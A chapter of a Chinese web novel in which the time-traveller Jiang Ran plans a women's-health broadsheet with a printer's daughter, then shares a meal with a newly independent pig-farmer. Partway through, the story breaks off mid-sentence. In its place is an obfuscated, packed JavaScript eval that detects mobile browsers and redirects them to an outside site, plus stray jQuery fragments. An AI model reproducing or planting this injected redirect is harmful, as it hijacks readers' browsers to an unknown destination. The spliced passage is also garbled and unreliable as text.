姜燃第一次来县城时就注意到县城街道上有一些卖小报的小贩,出于好奇买了几份。
那几份小报出自不同的群体,和后世的报纸很像,有官方下发的法令时事邸报,有文人雅士自创的文学杂报,还有商人联合刊发的山珍奇货小报。姜燃看完小报,才意识到这个世界的文化娱乐已经发展到了什么样的地步,加上这个时代已经传入了土豆、玉米之类的蔬菜,要不是蒸汽科学没有发展起来,姜燃都要怀疑自己穿越的并非是古代了。
这里的造纸技术改良过,纸张造价并不贵,用小报来宣扬医学比她自己一个一个去看病要快得多。
“印报纸?”林璋华不明所以,“姜贤妹是丢了什么东西吗?还是要寻人?”
“都不是,”姜燃摇头道,将自己这两日的见闻简要说了一遍,“我见世人对妇人病多有误解,想办一刊小报来普及关于妇人身体的知识,好让更多人了解病症,知道如何防治。”
“妇人医学小报?”
林璋华和掌柜、素心异口同声地说,三人脸上都闪过恍然大悟的惊喜神情。
林璋华从柜台边起身,在屋中来回踱步,右手中的书不断敲击着左手,自语道:“我怎么没想到呢?既然梁州商人可以联合办山珍奇货小报,既然中州的学子可以办四书五经小报,既然江南的才女可以办闺塾小报,那我们为何不能办妇人医学小报?”
“办报?好啊,办小报!”林璋华在柜台边停下,掌心用力在柜台上拍了拍,对姜燃道:“姜贤妹,你这个提议我赞同。办小报这事我愿意出钱,我和你一起办!”
“怎么好劳烦你?”
“你就让她办吧,”素心笑道,“姜姐姐,那印书的林氏书局正是林姐姐家的产业呢。”
她话未说完,林璋华已经激动地拉着姜燃的手,邀请姜燃去参观她家的书局,顺便议定小报的刊印事宜。她一边拉着姜燃往外走,一边跟掌柜和素心道:“失陪失陪,我和姜贤妹去商讨一下。”
姜燃听见素心在后面吐槽:“林姐姐还是这样一碰上写书办报的事情就激动。”
林璋华拉着姜燃,一边走一边说:“姜贤妹,依你看,我们这小报叫什么名字好?要刊些什么?我觉得有必要刊些月事带的缝制方式,有些娘不疼爹不爱的孩子根本不会自己缝月事带。还有填充物也要刊上去,草木灰固然很好,棉布艾草也不错,但是不能用浮土,那东西虽然吸血,却不干净……”
“噢,姜贤妹才是这方面的专家,我听说你救了王秀兰老太太,还揭穿了假仁德堂的黑心面孔。你来决定刊什么内容,我来安排版面……”
说话间,已经到了一处院落前,姜燃抬头看见“林氏书局”几个大字。
林璋华介绍道:“这是我家的祖产,以往给我弟弟经营,出嫁时我要了这家店做嫁妆。”
两人走进去,只见前厅两排架子,摆满了线装书,墙上挂着代写书信的告示牌。穿过前厅进入后院,院中一侧,寥寥几个匠人在伏案刻着活字印泥版,另一侧有人在拓印宣纸,有人在将印好的书页悬挂起来晾干。后院几个房间都开着门,姜燃看见房间垒放着许多宣纸。
“天快黑了,匠人都回去休息了,”林璋华引她到后面一个摆着大书桌的小房间坐,抽出几张纸铺在桌上,双眼闪着热爱工作的光,“姜贤妹若是不急着回去的话,我们来讨论一下报刊印什么内容?”
姜燃自然不急着回去,她坐下也拿起一支毛笔,想起自己不擅长毛笔字又放下了。林璋华不知是不是看出来了,转而从桌上的笔筒里给她一支羽毛笔,“试试这个,比毛笔更方便些。”
姜燃将自己的构想说了。
她提及产后风湿、血瘀、月事、血崩以及胞宫下垂等今日见到的病例,然后道:“我想,我们最主要的版面要以这些病例为主。”
林璋华一边听她说,一边在纸上飞快地记着。姜燃注意到她记忆力很好,笔速也很快,几乎在她说完的瞬间,林璋华已经将她说出的东西记录了十之八九,甚至还分了版面。
“多谢你,姜贤妹,”林璋华拿起纸张观看,感激道:“你提出了我们之前从未注意到的问题。要不是你指出其中的不对劲,我们不会意识到有这么多姊妹同胞都处于病痛的困苦之中。”
“那么还有一个问题,我们的受众群体是谁呢?”林璋华继续道,“一份小报,总要有它的观者才对吧?依我看,我们加上一点闺阁悄悄话,发行给那些闺阁内读书的女儿家看怎么样?”
姜燃摇头:“我认为,这份小报应该面向广大群众,最主要的就是那些田间地头耕作织布的妇人。她们没有钱,如果再没有知识,将会承受很多不必要的苦难。”
就比如今日那个月事痛的少年。
林璋华若有所思:“你说得对,可是有个大问题……”
“山县很多人不让女儿读书,乡野尤是,那些田间的妇人,她们不识字啊。”
姜燃瞠目结舌,一下子呆住了。她们不识字……好像是。
她啃古医书的时候学过古体字,来了这个世界之后,读书对她来说并非一件难事,故而忽略了认字的困难。那么多乡野妇人根本不识字,就算从现在教起,等到她们人人都会读小报,那得等到什么时候?
“你别担心,”林璋华安慰道,“会有办法。办报的事情暂时放在我这里,等萧大姑明日回来,她肯定有办法。”
事已至此,只好如此。
其实姜燃想到了一个主意,但那个主意还是要劳动萧大姑,不如等她明日回来再说。
林璋华送她出了书局,姜燃同她告别,林璋华问:“外面已经宵禁了,你还要回小禾岭去吗?不如我带你去工坊小住一夜,工坊有空余的房舍。”
姜燃婉拒了。对她来说山县小小的城墙根本不算事,她的精神力上涨到31%之后,身体素质也有所恢复,小小城墙三两下就能跳过。何况她明日还要义诊。
告别林璋华后走了一阵,姜燃感觉自己的胳膊被人扯了扯。她忍住条件反射,回头和一张笑容灿烂的圆脸对视。
“小姜!”
是杜玉红!她看起来开朗了不少,身材更加圆润了,热情地挽着姜燃的胳膊激动道:“小姜,真是你啊!”
姜燃注意到她还带着自己的女儿,那六岁的小姑娘抱着她的腿,怯怯看着姜燃,朝她露出一个微笑。
姜燃道:“杜,呃,玉红,你怎么在这里?”
“哎呀,我刚去给素心姑娘送猪头肉,也没别的意思,就是谢谢她。这不是在县城几日,她对我们娘儿俩可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205629|180078||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
照顾了。听她说你也来山县了,我就赶紧来这里堵你。你瞧,还真让我堵着了。”
“走走,上我家住一晚,正好我今儿买了猪头肉开荤,还没开始吃呢!”
“不用,真不用,”她力气可真大,双手抓着姜燃的胳膊往前拽,姜燃暗自用力往后撤,“我回去还有事情。”
“哎,小姜!”杜玉红把脸一板,“你是不是也瞧不起我?”
“告诉你,”杜玉红擂了擂自己壮实的胸口,“我虽离婚了,可我能耐着呢!我现在给璋华娘子骟猪,一头猪十五文钱!”
她用手指头比出“五”这个数字,露出一个灿烂的笑容,继续道:“这两日她介绍我去了好多户农家,我少说赚了一两百文!璋华娘子说,等这几日过去,萧家那边办的养猪工坊开业,就介绍我进去养猪。哎,你说这不是巧了吗?我别的不会,就会养猪,那小猪到了我手里,保证一个个长得又肥又大!”
“走走走,别推辞。就一顿饭,姥子请客。”
姜燃苦苦推拒,杜玉红就是不放手,连那个六岁的小姑娘也抱着姜燃的腿道:“走吧~姜姨姨~跟我们回家吃饭吧,求求你了!”
姜燃推辞不过,只好跟着杜玉红来到了她的住处。
杜玉红暂时住在纺织工坊的后排宿舍里。姜燃看见院中织娘们来回走动,端着碗吃饭,或者蹲在墙根洗漱。
杜玉红用钥匙打开了一间小屋子的门,屋子大约一丈宽,和何之简住的屋子差不多大。
屋中摆着一张床,还有简单的方桌和柜子。杜玉红将柜子上一个油纸包在桌上打开,一阵动物油脂混合八角茴香和老抽酱气的香味散发出来,是半个猪头。
“坐!坐!”杜玉红把姜燃推到桌边坐下,从猪头上撕了片耳朵塞给她,“吃!县东头那家刚卤好的,趁热吃。”
猪耳朵入手,油脂黏在掌心,外层是弹韧的脆骨,内层肥糯的耳肉裹着卤汁,指腹稍用力就能按出凹陷。
姜燃撕下一半给旁边眼巴巴看着的小女孩,看着杜玉红从床底下搬出一坛酒,撕开泥封坐在了桌前,“会喝酒不?”
姜燃摇头。驾驶飞行器的人一般不碰酒精。
“日子从没这么好过,”杜玉红自己举起酒坛咂了口酒感叹道,因着酒劲,那张常年风吹日晒的圆脸迅速像抹了猪血般涨红,鼻尖红得发亮,“以前我从不敢想这样的日子,自由自在,无拘无束!”
“就是我家哥儿不在,可惜了。那杀千刀的邹大郎,死活不让我把哥儿带走!”
“还是得多谢你小姜,还有萧大姑,还有璋华娘子,还有素心,还有很多很多的人,我从没过过这样的日子!”她又感叹了一遍,注意到姜燃在听,“吃啊,怎么不吃?是不是有点腻?”
“杜蘅,去把柜子里那半包点心拿来给你姜姨姨吃。”
“哎。”小女孩应了一声,站起来跑去柜子旁。
“杜蘅?”姜燃好奇。
“璋华娘子起的,说什么,蘅是芳草,代表高洁,表达美好祝愿,”杜玉红摆摆手,“高不高洁的咱也不知道,咱们庄户人家,只要孩子平安就好。”
“哎,你怎么样?从那日来了县城之后,我一直不得空去看你,听说你到旁边的山上去住了,他们没找你麻烦吧?”